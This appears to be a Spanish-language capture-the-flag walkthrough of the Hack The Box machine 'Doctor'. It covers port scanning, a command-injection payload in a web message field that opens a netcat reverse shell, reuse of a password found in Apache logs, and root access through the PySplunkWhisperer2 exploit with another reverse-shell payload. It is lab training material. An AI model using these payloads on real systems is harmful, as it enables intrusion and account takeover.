Conexión
Conectar nuestra máquina de ataque a la VPN:
$ openvpn gorkamu-htb.ovpn
Enumeración
Realizar un escaneo de puertos
$ sudo nmap -sS -sC -sV 10.10.10.209
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 59:4d:4e:c2:d8:cf:da:9d:a8:c8:d0:fd:99:a8:46:17 (RSA)
| 256 7f:f3:dc:fb:2d:af:cb:ff:99:34:ac:e0:f8:00:1e:47 (ECDSA)
|_ 256 53:0e:96:6b:9c:e9:c1:a1:70:51:6c:2d:ce:7b:43:e8 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Doctor
8089/tcp open ssl/http Splunkd httpd
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Splunkd
|_http-title: splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2020-09-06T15:57:27
|_Not valid after: 2023-09-06T15:57:27
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Vemos que tiene los puertos 22, 80 y 8089 abiertos.
Capturar User Flag
Editamos el fichero de host y añadimos la IP de la máquina (10.10.10.209) con un hostname custom.
$ sudo nano /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.10.10.209 doctors.htb
Si volvemos a entrar a través del navegador vemos que se nos abre un login con la siguiente url:
http://doctors.htb/login?next=%2F
Aunque pongamos una inyección SQL básica no va a funcionar. Tampoco el recuperar contraseña…
Pero tenemos una URL para registrarnos.
http://doctors.htb/login
Nos registramos con un correo falso y nos logueamos, esto nos llevará a un panel de administración.
En la parte de New Message podemos escribir un mensaje en el que invocaremos nuestra shell reversa.
[http://doctors.htb/post/new](http://doctors.htb/post/new)
Para ello abrimos una nueva terminal para lanzar netcat por el puerto 4444 a la escucha de nuevas conexiones
$ sudo nc -nlvp 4444
En la página web, en el campo de mensaje ponemos el siguiente código:
<img src=http://TUNNEL_IP/$(nc.traditional$IFS-e$IFS/bin/bash$IFS'TUNNEL_IP'$IFS'4444')>
Donde TUNNEL_IP es nuestra IP de la VPN de la interface tun0, $IFS es una variable de entorno que indica el separador por defecto y 4444 es el puerto en el que hemos puesto el netcat a escuchar.
En la terminal de Netcat se nos abrirá una nueva shell reversa limitada con el usuario web.
Tenemos que lanzar una shell /bin/bash con más funcionalidades. Eso lo hacemos desde python con la siguiente línea:
python3 -c 'import pty;pty.spawn("/bin/bash")’
En el directorio /home/shaun está la FLAG de user.txt pero no podremos abrirla debido a que no tenemos permisos.
Tampoco podemos hacer un sudo -l porque no conocemos la contraseña del usuario web por lo que no podemos hacer en este punto una escalada de privilegios.
Tenemos que irnos al directorio de apache para revisar los logs
$ cd /var/log/apache2
$ cat backup
Hay que buscar si ha habido alguna petición solicitando un password
$ grep -r password?
backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password”
Asumimos que Guitar123 es también la contraseña y nos cambiamos al usuario shaun
$ su shaun
Volvemos a su $HOME y ya podemos revisar el fichero user.txt obteniendo así la USER Flag
Capturar Root Flag
Para obtener la Root Flag tenemos que explotar una vulnerabilidad en Splunk en el puerto 8089.
Para ello necesitamos descargar un script de python desde este repositorio https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2
Cuando lo tengamos clonado abrimos una nueva terminal con un netcat en el puerto 4444 escuchando de nuevo.
$ nc -nlvp 4444
Desde otra terminal lanzaremos el exploit con la siguiente línea:
$ python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost TUNNEL_IP --username shaun --password Guitar123 --payload 'nc.traditional -e/bin/sh '10.10.14.82' '4444''